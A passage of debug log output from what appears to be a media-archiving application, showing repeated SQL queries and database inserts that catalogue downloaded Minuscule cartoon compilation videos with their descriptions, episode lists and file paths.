Pink Lollipop | S01E32\n00:13:58 | United We Stand | S01E23\n00:18:25 | Interior Cobwebs | S01E64\n00:22:52 | The Last Supper | S01E25\n00:27:41 | Picnic | S01E24\n00:32:26 | Ants | S01E02\n00:37:15 | Zzzeplin | S01E22\n00:42:04 | A Gust Of Wind | S01E13\n00:46:46 | A Cruel World | S01E46\n00:51:35 | The Bridge On The River Zzzzzzz | S01E18\n00:56:21 | Leech | S01E73\n01:00:46 | Mad Fly | S01E55\n01:05:25 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #cherry #tomato #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 85' Compilation", "5c3291a6-c030-4bd3-873f-687d445784e2", "Bk2CA8ASvso", 4233, false, 4, "https://www.youtube.com/watch?v=Bk2CA8ASvso", 15, "/downloads/Miniscule Season 1/2025-10-18 Chewing Gum | Minuscule 🍃 85' Compilation/Chewing Gum | Minuscule 🍃 85' Compilation [Bk2CA8ASvso].mkv", false, false, false, [], 1, ~U[2025-10-18 10:00:19Z], ~U[2025-12-14 07:48:04Z], ~U[2025-12-14 07:48:04Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Cherry Tomato | S01E77\n00:09:17 | The Quest For The Pink Lollipop | S01E32\n00:13:58 | United We Stand | S01E23\n00:18:25 | Interior Cobwebs | S01E64\n00:22:52 | The Last Supper | S01E25\n00:27:41 | Picnic | S01E24\n00:32:26 | Ants | S01E02\n00:37:15 | Zzzeplin | S01E22\n00:42:04 | A Gust Of Wind | S01E13\n00:46:46 | A Cruel World | S01E46\n00:51:35 | The Bridge On The River Zzzzzzz | S01E18\n00:56:21 | Leech | S01E73\n01:00:46 | Mad Fly | S01E55\n01:05:25 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #cherry #tomato #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 85' Compilation", "Bk2CA8ASvso", 4233, false, 4, "https://www.youtube.com/watch?v=Bk2CA8ASvso", "/downloads/Miniscule Season 1/2025-10-18 Chewing Gum | Minuscule 🍃 85' Compilation/Chewing Gum | Minuscule 🍃 85' Compilation [Bk2CA8ASvso].mkv", false, ~U[2025-10-18 10:00:19Z]] 00:48:04.980 [debug] QUERY OK source="sources" db=0.4ms idle=133.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:04.981 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:04.982 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99281] 00:48:04.982 [debug] Current batch of media processed. Will check again in 1000ms 00:48:05.983 [debug] Current batch of media processed. Will check again in 1000ms 00:48:06.984 [debug] Current batch of media processed. Will check again in 1000ms 00:48:07.985 [debug] Current batch of media processed. Will check again in 1000ms 00:48:08.986 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Halloween Paranoid | S01E43\n00:04:48 | Yellow | S01E07\n00:09:36 | O Tannenbaum | S01E71\n00:14:16 | The Ladybug | S01E01\n00:18:52 | Mad Fly | S01E55\n00:23:31 | The Escapist | S01E59\n00:28:00 | The Mosquito | S01E58\n00:32:10 | Out Of A Tin Can | S01E65\n00:36:44 | King Size Camembert | S01E45\n00:41:23 | Interior Cobwebs | S01E64\n00:45:50 | A Bee’s Night Out | S01E51\n00:50:38 | Cowardly Coward | S01E09\n00:55:28 | No Luck | S01E62\n01:00:10 | Insect High Velocity | S01E53\n01:04:49 | A Cruel World | S01E46\n01:09:38 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Halloween #paranoid #centipede #scare #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4496, "filename" => "/downloads/Miniscule Season 1/2025-10-25 Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation/Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation [hinQL_ffSqU].mp4", "id" => "hinQL_ffSqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hinQL_ffSqU", "playlist_index" => 16, "timestamp" => 1761415247, "title" => "Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation", "upload_date" => "20251025"} 00:48:08.987 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=341.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:08.988 [debug] QUERY OK source="sources" db=0.3ms idle=342.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:08.989 [debug] QUERY OK source="media_items" db=1.0ms idle=343.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 18:00:47Z], 4] 00:48:08.999 [debug] QUERY OK source="media_items" db=8.3ms queue=0.1ms idle=345.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Halloween Paranoid | S01E43\n00:04:48 | Yellow | S01E07\n00:09:36 | O Tannenbaum | S01E71\n00:14:16 | The Ladybug | S01E01\n00:18:52 | Mad Fly | S01E55\n00:23:31 | The Escapist | S01E59\n00:28:00 | The Mosquito | S01E58\n00:32:10 | Out Of A Tin Can | S01E65\n00:36:44 | King Size Camembert | S01E45\n00:41:23 | Interior Cobwebs | S01E64\n00:45:50 | A Bee’s Night Out | S01E51\n00:50:38 | Cowardly Coward | S01E09\n00:55:28 | No Luck | S01E62\n01:00:10 | Insect High Velocity | S01E53\n01:04:49 | A Cruel World | S01E46\n01:09:38 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Halloween #paranoid #centipede #scare #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation", "1eb145e9-4d6b-464b-b0e6-43040279d2c0", "hinQL_ffSqU", 4496, false, 4, "https://www.youtube.com/watch?v=hinQL_ffSqU", 16, "/downloads/Miniscule Season 1/2025-10-25 Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation/Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation [hinQL_ffSqU].mp4", false, false, false, [], 1, ~U[2025-10-25 18:00:47Z], ~U[2025-12-14 07:48:08Z], ~U[2025-12-14 07:48:08Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Halloween Paranoid | S01E43\n00:04:48 | Yellow | S01E07\n00:09:36 | O Tannenbaum | S01E71\n00:14:16 | The Ladybug | S01E01\n00:18:52 | Mad Fly | S01E55\n00:23:31 | The Escapist | S01E59\n00:28:00 | The Mosquito | S01E58\n00:32:10 | Out Of A Tin Can | S01E65\n00:36:44 | King Size Camembert | S01E45\n00:41:23 | Interior Cobwebs | S01E64\n00:45:50 | A Bee’s Night Out | S01E51\n00:50:38 | Cowardly Coward | S01E09\n00:55:28 | No Luck | S01E62\n01:00:10 | Insect High Velocity | S01E53\n01:04:49 | A Cruel World | S01E46\n01:09:38 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Halloween #paranoid #centipede #scare #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation", "hinQL_ffSqU", 4496, false, 4, "https://www.youtube.com/watch?v=hinQL_ffSqU", "/downloads/Miniscule Season 1/2025-10-25 Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation/Halloween Paranoid 🎃 Minuscule 🍃 90' Compilation [hinQL_ffSqU].mp4", false, ~U[2025-10-25 18:00:47Z]] 00:48:09.000 [debug] QUERY OK source="sources" db=0.4ms idle=145.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:09.000 [debug] QUERY OK source="media_profiles" db=0.4ms idle=12.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:09.001 [debug] QUERY OK source="media_items" db=0.5ms idle=12.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99707] 00:48:09.002 [debug] Current batch of media processed. Will check again in 1000ms 00:48:10.003 [debug] Current batch of media processed. Will check again in 1000ms 00:48:11.004 [debug] Current batch of media processed. Will check again in 1000ms 00:48:12.005 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Exit | S01E61\n00:04:38 | The Escapist | S01E59\n00:09:08 | United We Stand | S01E23\n00:13:35 | The Mosquito | S01E58\n00:17:44 | Convoy | S01E10\n00:22:26 | The Ladybug | S01E01\n00:27:02 | Sleeping In | S01E12\n00:31:51 | Hyperactive | S01E54\n00:36:33 | No Luck | S01E62\n00:41:15 | Mad Fly | S01E55\n00:45:54 | Insect High Velocity | S01E53\n00:50:33 | The Winter Of Our Discontent | S01E67\n00:55:22 | Ants | S01E02\n01:00:11 | A Bee’s Night Out | S01E51\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#freedom #bee #house #exit #escape #flies #spider #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3931, "filename" => "/downloads/Miniscule Season 1/2025-10-09 No Exit 🎃 Minuscule 🍃 80' Compilation/No Exit 🎃 Minuscule 🍃 80' Compilation [v8kVFwiAn_I].mkv", "id" => "v8kVFwiAn_I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=v8kVFwiAn_I", "playlist_index" => 17, "timestamp" => 1760004095, "title" => "No Exit 🎃 Minuscule 🍃 80' Compilation", "upload_date" => "20251009"} 00:48:12.006 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1360.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:12.007 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1361.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:12.009 [debug] QUERY OK source="media_items" db=1.1ms idle=1362.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 10:01:35Z], 4] 00:48:13.110 [debug] QUERY OK source="media_items" db=1100.7ms idle=1151.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Exit | S01E61\n00:04:38 | The Escapist | S01E59\n00:09:08 | United We Stand | S01E23\n00:13:35 | The Mosquito | S01E58\n00:17:44 | Convoy | S01E10\n00:22:26 | The Ladybug | S01E01\n00:27:02 | Sleeping In | S01E12\n00:31:51 | Hyperactive | S01E54\n00:36:33 | No Luck | S01E62\n00:41:15 | Mad Fly | S01E55\n00:45:54 | Insect High Velocity | S01E53\n00:50:33 | The Winter Of Our Discontent | S01E67\n00:55:22 | Ants | S01E02\n01:00:11 | A Bee’s Night Out | S01E51\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#freedom #bee #house #exit #escape #flies #spider #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "No Exit 🎃 Minuscule 🍃 80' Compilation", "48668560-e837-4a13-b461-f2e2a21a18c2", "v8kVFwiAn_I", 3931, false, 4, "https://www.youtube.com/watch?v=v8kVFwiAn_I", 17, "/downloads/Miniscule Season 1/2025-10-09 No Exit 🎃 Minuscule 🍃 80' Compilation/No Exit 🎃 Minuscule 🍃 80' Compilation [v8kVFwiAn_I].mkv", false, false, false, [], 1, ~U[2025-10-09 10:01:35Z], ~U[2025-12-14 07:48:12Z], ~U[2025-12-14 07:48:12Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Exit | S01E61\n00:04:38 | The Escapist | S01E59\n00:09:08 | United We Stand | S01E23\n00:13:35 | The Mosquito | S01E58\n00:17:44 | Convoy | S01E10\n00:22:26 | The Ladybug | S01E01\n00:27:02 | Sleeping In | S01E12\n00:31:51 | Hyperactive | S01E54\n00:36:33 | No Luck | S01E62\n00:41:15 | Mad Fly | S01E55\n00:45:54 | Insect High Velocity | S01E53\n00:50:33 | The Winter Of Our Discontent | S01E67\n00:55:22 | Ants | S01E02\n01:00:11 | A Bee’s Night Out | S01E51\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#freedom #bee #house #exit #escape #flies #spider #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "No Exit 🎃 Minuscule 🍃 80' Compilation", "v8kVFwiAn_I", 3931, false, 4, "https://www.youtube.com/watch?v=v8kVFwiAn_I", "/downloads/Miniscule Season 1/2025-10-09 No Exit 🎃 Minuscule 🍃 80' Compilation/No Exit 🎃 Minuscule 🍃 80' Compilation [v8kVFwiAn_I].mkv", false, ~U[2025-10-09 10:01:35Z]] 00:48:13.111 [debug] QUERY OK source="sources" db=0.4ms idle=1104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:13.111 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1104.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:13.112 [debug] QUERY OK source="media_items" db=0.3ms idle=1103.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98863] 00:48:13.112 [debug] Current batch of media processed. Will check again in 1000ms 00:48:14.114 [debug] Current batch of media processed. Will check again in 1000ms 00:48:15.115 [debug] Current batch of media processed. Will check again in 1000ms 00:48:16.116 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Right Seed | S01E57\n00:04:45 | Leech | S01E73\n00:09:10 | Love Story | S01E03\n00:13:59 | Nap Time | S01E14\n00:18:48 | The Apple Of Concord | S01E36\n00:23:34 | The Good Education | S01E56\n00:28:21 | The Wild Bunch | S01E74\n00:33:00 | The Last Supper | S01E25\n00:37:49 | Ladybugs | S01E17\n00:42:29 | Hyperactive | S01E54\n00:47:10 | The Ladybug | S01E01\n00:51:46 | Cherry Tomato | S01E77\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #seed #plant #fruit #leech #snail #friendship #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3416, "filename" => "/downloads/Miniscule Season 1/2025-09-30 The Right Seed | Minuscule 🍃 70' Compilation/The Right Seed | Minuscule 🍃 70' Compilation [wOpl_pyms5o].mkv", "id" => "wOpl_pyms5o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wOpl_pyms5o", "playlist_index" => 18, "timestamp" => 1759212055, "title" => "The Right Seed | Minuscule 🍃 70' Compilation", "upload_date" => "20250930"} 00:48:16.117 [debug] QUERY OK source="sources" db=0.6ms idle=1471.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:16.118 [debug] QUERY OK source="sources" db=0.4ms idle=1472.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", 